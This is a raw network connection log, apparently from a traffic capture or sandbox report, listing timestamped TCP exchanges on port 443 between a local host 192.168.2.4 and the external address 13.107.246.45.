Oct 28, 2024 08:18:09.720186949 CET	443	49797	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:09.720201015 CET	49797	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:09.720205069 CET	443	49797	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:09.723275900 CET	49802	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:09.723360062 CET	443	49802	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:09.723453999 CET	49802	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:09.723622084 CET	49802	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:09.723640919 CET	443	49802	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:09.728152990 CET	443	49798	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:09.728912115 CET	443	49798	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:09.728990078 CET	49798	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:09.729038000 CET	49798	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:09.729048014 CET	443	49798	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:09.729062080 CET	49798	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:09.729065895 CET	443	49798	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:09.731894970 CET	49803	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:09.731911898 CET	443	49803	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:09.731996059 CET	49803	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:09.732168913 CET	49803	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:09.732177973 CET	443	49803	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:09.781078100 CET	443	49799	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:09.781229973 CET	443	49799	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:09.781348944 CET	49799	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:09.781457901 CET	49799	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:09.781474113 CET	443	49799	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:09.781483889 CET	49799	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:09.781490088 CET	443	49799	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:09.784369946 CET	49804	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:09.784421921 CET	443	49804	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:09.784499884 CET	49804	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:09.784646034 CET	49804	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:09.784666061 CET	443	49804	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:09.817533016 CET	443	49800	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:09.817689896 CET	443	49800	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:09.817759037 CET	49800	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:09.818449974 CET	49800	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:09.818464994 CET	443	49800	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:09.818480968 CET	49800	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:09.818487883 CET	443	49800	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:09.860085964 CET	49805	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:09.860151052 CET	443	49805	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:09.860232115 CET	49805	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:09.860723019 CET	49805	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:09.860742092 CET	443	49805	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:10.541363001 CET	443	49801	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:10.542028904 CET	49801	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:10.542056084 CET	443	49801	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:10.542635918 CET	49801	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:10.542644024 CET	443	49801	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:10.543311119 CET	443	49802	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:10.543751001 CET	49802	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:10.543786049 CET	443	49802	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:10.544353962 CET	49802	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:10.544362068 CET	443	49802	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:10.547987938 CET	443	49804	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:10.548476934 CET	49804	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:10.548511028 CET	443	49804	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:10.548928976 CET	443	49803	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:10.549012899 CET	49804	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:10.549019098 CET	443	49804	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:10.549233913 CET	49803	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:10.549261093 CET	443	49803	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:10.549702883 CET	49803	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:10.549710035 CET	443	49803	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:10.600419044 CET	443	49805	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:10.601022005 CET	49805	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:10.601054907 CET	443	49805	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:10.601660013 CET	49805	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:10.601666927 CET	443	49805	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:10.673660040 CET	443	49802	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:10.673732042 CET	443	49802	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:10.673839092 CET	49802	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:10.674086094 CET	49802	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:10.674110889 CET	443	49802	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:10.674125910 CET	49802	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:10.674134016 CET	443	49802	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:10.675215960 CET	443	49801	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:10.675255060 CET	443	49804	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:10.675472975 CET	443	49804	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:10.675493002 CET	443	49801	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:10.675540924 CET	49804	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:10.675560951 CET	49801	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:10.675609112 CET	49804	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:10.675638914 CET	443	49804	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:10.675657988 CET	49804	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:10.675666094 CET	443	49804	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:10.675894022 CET	49801	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:10.675916910 CET	443	49801	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:10.675929070 CET	49801	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:10.675935030 CET	443	49801	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:10.678139925 CET	49806	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:10.678168058 CET	443	49806	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:10.678247929 CET	49806	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:10.678711891 CET	49807	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:10.678766966 CET	443	49807	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:10.678837061 CET	49807	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:10.678924084 CET	49806	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:10.678937912 CET	443	49806	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:10.679032087 CET	49807	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:10.679049015 CET	443	49807	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:10.679814100 CET	49808	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:10.679843903 CET	443	49808	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:10.679908991 CET	49808	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:10.680032969 CET	49808	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:10.680047989 CET	443	49808	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:10.685305119 CET	443	49803	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:10.685445070 CET	443	49803	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:10.685497046 CET	49803	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:10.685650110 CET	49803	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:10.685659885 CET	443	49803	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:10.685672998 CET	49803	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:10.685678005 CET	443	49803	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:10.688055992 CET	49809	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:10.688081026 CET	443	49809	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:10.688150883 CET	49809	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:10.688308954 CET	49809	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:10.688323975 CET	443	49809	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:10.731276035 CET	443	49805	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:10.731462955 CET	443	49805	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:10.731544971 CET	49805	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:10.731658936 CET	49805	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:10.731679916 CET	443	49805	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:10.731693029 CET	49805	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:10.731700897 CET	443	49805	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:10.734168053 CET	49810	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:10.734210014 CET	443	49810	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:10.734289885 CET	49810	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:10.734412909 CET	49810	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:10.734421968 CET	443	49810	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:11.438344002 CET	443	49807	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:11.439058065 CET	49807	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:11.439090014 CET	443	49807	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:11.439438105 CET	443	49808	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:11.439672947 CET	49807	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:11.439683914 CET	443	49807	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:11.439829111 CET	49808	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:11.439848900 CET	443	49808	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:11.440435886 CET	443	49806	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:11.440458059 CET	49808	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:11.440465927 CET	443	49808	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:11.440869093 CET	49806	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:11.440898895 CET	443	49806	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:11.441356897 CET	49806	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:11.441375971 CET	443	49806	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:11.441699028 CET	443	49809	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:11.442063093 CET	49809	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:11.442085981 CET	443	49809	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:11.442559004 CET	49809	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:11.442564011 CET	443	49809	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:11.485166073 CET	443	49810	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:11.485877037 CET	49810	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:11.485892057 CET	443	49810	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:11.486419916 CET	49810	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:11.486427069 CET	443	49810	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:11.568882942 CET	443	49808	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:11.569072962 CET	443	49808	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:11.569128990 CET	49808	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:11.569323063 CET	49808	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:11.569341898 CET	443	49808	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:11.569367886 CET	49808	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:11.569375038 CET	443	49808	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:11.571829081 CET	443	49807	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:11.571893930 CET	443	49807	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:11.571958065 CET	49807	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:11.572485924 CET	443	49809	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:11.572633028 CET	443	49809	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:11.572691917 CET	49809	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:11.572910070 CET	49811	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:11.572942972 CET	443	49811	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:11.573021889 CET	49811	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:11.573132038 CET	49809	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:11.573143005 CET	443	49809	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:11.573156118 CET	49809	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:11.573159933 CET	443	49809	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:11.573229074 CET	49807	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:11.573254108 CET	443	49807	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:11.573267937 CET	49807	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:11.573276043 CET	443	49807	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:11.575505972 CET	49811	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:11.575520039 CET	443	49811	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:11.576544046 CET	443	49806	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:11.576622009 CET	443	49806	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:11.576689959 CET	49806	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:11.576844931 CET	49806	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:11.576869965 CET	443	49806	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:11.576889038 CET	49806	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:11.576895952 CET	443	49806	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:11.577163935 CET	49812	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:11.577213049 CET	443	49812	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:11.577313900 CET	49812	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:11.577480078 CET	49812	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:11.577500105 CET	443	49812	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:11.578530073 CET	49813	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:11.578556061 CET	443	49813	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:11.578622103 CET	49813	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:11.578927040 CET	49813	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:11.578944921 CET	443	49813	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:11.580133915 CET	49814	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:11.580164909 CET	443	49814	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:11.580238104 CET	49814	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:11.580380917 CET	49814	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:11.580395937 CET	443	49814	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:11.613122940 CET	443	49810	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:11.613270998 CET	443	49810	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:11.613331079 CET	49810	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:11.613470078 CET	49810	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:11.613488913 CET	443	49810	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:11.613503933 CET	49810	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:11.613509893 CET	443	49810	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:11.616646051 CET	49815	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:11.616699934 CET	443	49815	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:11.616782904 CET	49815	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:11.616991997 CET	49815	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:11.617008924 CET	443	49815	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:12.312874079 CET	443	49814	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:12.313756943 CET	49814	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:12.313786030 CET	443	49814	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:12.314229012 CET	49814	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:12.314239025 CET	443	49814	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:12.318111897 CET	443	49813	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:12.318558931 CET	49813	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:12.318623066 CET	443	49813	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:12.319206953 CET	49813	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:12.319221973 CET	443	49813	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:12.321384907 CET	443	49811	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:12.321701050 CET	49811	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:12.321738005 CET	443	49811	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:12.322030067 CET	49811	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:12.322036982 CET	443	49811	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:12.332564116 CET	443	49812	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:12.333137035 CET	49812	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:12.333164930 CET	443	49812	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:12.333450079 CET	49812	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:12.333456993 CET	443	49812	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:12.359239101 CET	443	49815	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:12.360215902 CET	49815	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:12.360251904 CET	443	49815	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:12.360934019 CET	49815	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:12.360939980 CET	443	49815	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:12.443823099 CET	443	49814	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:12.444025993 CET	443	49814	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:12.444160938 CET	49814	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:12.444519043 CET	49814	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:12.444541931 CET	443	49814	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:12.444555998 CET	49814	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:12.444564104 CET	443	49814	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:12.448061943 CET	443	49813	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:12.448262930 CET	49816	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:12.448302031 CET	443	49816	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:12.448350906 CET	443	49813	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:12.448394060 CET	49816	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:12.448446035 CET	49813	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:12.448499918 CET	49813	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:12.448499918 CET	49813	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:12.448527098 CET	443	49813	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:12.448539972 CET	443	49813	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:12.448736906 CET	49816	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:12.448753119 CET	443	49816	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:12.451037884 CET	443	49811	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:12.451524973 CET	49817	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:12.451575041 CET	443	49817	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:12.451642990 CET	49817	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:12.451841116 CET	49817	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:12.451855898 CET	443	49817	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:12.452431917 CET	443	49811	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:12.452501059 CET	49811	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:12.452548027 CET	49811	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:12.452548027 CET	49811	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:12.452569962 CET	443	49811	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:12.452585936 CET	443	49811	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:12.455257893 CET	49818	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:12.455297947 CET	443	49818	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:12.455380917 CET	49818	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:12.455580950 CET	49818	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:12.455602884 CET	443	49818	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:12.463567972 CET	443	49812	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:12.463738918 CET	443	49812	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:12.463823080 CET	49812	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:12.463946104 CET	49812	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:12.463970900 CET	443	49812	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:12.463992119 CET	49812	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:12.464003086 CET	443	49812	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:12.467422009 CET	49819	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:12.467469931 CET	443	49819	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:12.467561960 CET	49819	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:12.467756987 CET	49819	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:12.467781067 CET	443	49819	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:12.488811016 CET	443	49815	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:12.488882065 CET	443	49815	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:12.488970995 CET	49815	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:12.489231110 CET	49815	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:12.489247084 CET	443	49815	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:12.489259005 CET	49815	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:12.489265919 CET	443	49815	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:12.492801905 CET	49820	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:12.492852926 CET	443	49820	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:12.492944002 CET	49820	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:12.493153095 CET	49820	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:12.493165970 CET	443	49820	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:13.177536964 CET	443	49817	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:13.178046942 CET	49817	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:13.178087950 CET	443	49817	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:13.178606033 CET	49817	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:13.178611040 CET	443	49817	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:13.179235935 CET	443	49816	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:13.179609060 CET	49816	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:13.179625988 CET	443	49816	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:13.180138111 CET	49816	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:13.180144072 CET	443	49816	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:13.201412916 CET	443	49819	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:13.201816082 CET	49819	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:13.201833010 CET	443	49819	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:13.202256918 CET	49819	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:13.202261925 CET	443	49819	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:13.248007059 CET	443	49820	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:13.248461962 CET	49820	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:13.248493910 CET	443	49820	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:13.248922110 CET	49820	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:13.248929977 CET	443	49820	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:13.307292938 CET	443	49817	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:13.307461977 CET	443	49817	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:13.307528019 CET	49817	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:13.307679892 CET	49817	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:13.307701111 CET	443	49817	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:13.307712078 CET	49817	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:13.307718039 CET	443	49817	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:13.310944080 CET	49821	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:13.310992956 CET	443	49821	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:13.311090946 CET	49821	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:13.311276913 CET	49821	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:13.311295033 CET	443	49821	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:13.313877106 CET	443	49816	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:13.314130068 CET	443	49816	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:13.314301968 CET	49816	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:13.314352036 CET	49816	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:13.314372063 CET	443	49816	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:13.314383030 CET	49816	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:13.314388990 CET	443	49816	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:13.316462994 CET	49822	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:13.316507101 CET	443	49822	13.107.246.45	192.168.2.4
